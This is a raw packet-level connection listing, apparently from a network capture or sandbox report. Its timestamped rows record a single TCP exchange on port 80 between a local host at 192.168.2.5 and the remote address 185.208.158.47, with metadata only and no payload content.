Oct 13, 2024 01:39:57.499043941 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:57.504260063 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.162944078 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163001060 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163037062 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163065910 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163073063 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.163100004 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163105011 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.163136005 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163175106 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163188934 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.163211107 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163252115 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.163268089 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163301945 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.163551092 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.168448925 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.168503046 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.168539047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.168556929 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.208892107 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.268707991 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.268774986 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.268809080 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.268832922 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.268930912 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269026041 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269074917 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269081116 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.269109964 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269120932 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.269154072 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269886017 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269936085 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269961119 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.269968033 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.269990921 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.270348072 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.270402908 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.270451069 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.270454884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.270490885 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.270500898 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.270524979 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.271239042 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.271286964 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.271289110 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.271326065 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.271338940 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.271362066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.271441936 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.271487951 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.272234917 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.272270918 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.272277117 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.295129061 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.295176983 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.295332909 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.359193087 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.359292030 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.359339952 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.366142988 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366177082 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366230011 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.366234064 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366274118 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366327047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366360903 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366377115 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.366394043 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366409063 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.366432905 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366477013 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.366525888 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.366990089 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367042065 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.367043972 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367095947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367126942 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367175102 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.367458105 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367506981 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367516994 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.367542028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367573023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367609978 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367620945 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.367656946 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.367943048 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.367993116 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368026018 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368057013 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368077040 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.368096113 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368102074 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.368130922 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368168116 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368217945 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.368742943 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368792057 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.368796110 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368832111 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368881941 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.368882895 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368916035 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368948936 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368988037 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.368993044 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.369031906 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.369616985 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369671106 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369709015 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369759083 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.369791031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369823933 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369853020 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.369857073 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369895935 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.369898081 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.370503902 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.370560884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.370563984 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.370611906 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.370645046 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.370676994 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.370686054 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.370850086 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.435121059 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.435178995 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.435216904 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.435235023 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.449873924 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.449911118 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.449947119 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.449954033 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.449985027 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.450020075 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.457062960 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.457123041 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464016914 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464061975 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464153051 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464231014 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464267015 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464310884 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464323044 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464359045 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464396000 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464409113 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464448929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464481115 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464513063 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464531898 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464549065 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464584112 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464585066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464620113 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464633942 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464657068 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464694023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464741945 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464741945 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464776993 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464787960 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464808941 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464843988 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464895964 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464896917 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464935064 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.464956045 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.464973927 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465040922 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465044022 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465080023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465112925 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465150118 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465162039 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465193987 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465204954 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465239048 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465270042 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465287924 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465305090 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465337992 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465369940 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465390921 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465404987 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465435982 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465442896 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465500116 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465555906 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465593100 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465629101 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465648890 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465681076 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465713978 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465745926 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465765953 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465783119 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465797901 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465833902 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465867043 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465898991 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465914965 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465939045 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.465950012 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.465976000 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466061115 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.466437101 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466471910 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466521978 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466557026 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466583014 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.466589928 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466629028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466645002 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.466664076 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466680050 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.466810942 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466842890 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466875076 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466878891 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.466912031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.466937065 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.466947079 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467117071 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.467358112 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467458010 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467509031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467511892 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.467545986 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467597961 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467629910 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467652082 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.467664003 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467674971 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.467701912 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467739105 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467766047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.467782021 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.467809916 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.525355101 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.525413036 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.525448084 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.525464058 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.525480032 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.525518894 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.525536060 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.525549889 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.525679111 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.540570021 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540659904 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540718079 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.540721893 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540759087 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540792942 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540803909 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.540832996 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540867090 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540901899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.540910959 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.540946007 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.547539949 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.547585011 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.547619104 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.547668934 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.553843975 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.553895950 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.553900957 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.553939104 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.553970098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.553978920 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554028988 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554080009 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554111004 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554121017 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554143906 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554157972 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554184914 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554218054 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554250956 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554260969 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554282904 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554299116 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554317951 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554349899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554356098 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554384947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554431915 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554466963 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.554482937 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.554508924 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.559801102 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.559863091 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.559916019 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.559954882 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.559957027 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560000896 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560010910 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560065031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560101986 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560138941 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560152054 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560175896 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560184002 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560250044 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560283899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560314894 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560327053 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560353994 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560358047 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560386896 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560420036 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560451984 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560467958 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560486078 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560503006 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560522079 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560564041 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560612917 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560620070 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560658932 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560664892 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560712099 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560765028 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560797930 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560815096 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560848951 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:39:58.560849905 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560883999 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560919046 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:39:58.560954094 CEST	80	49720	185.208.158.47	192.168.2.5
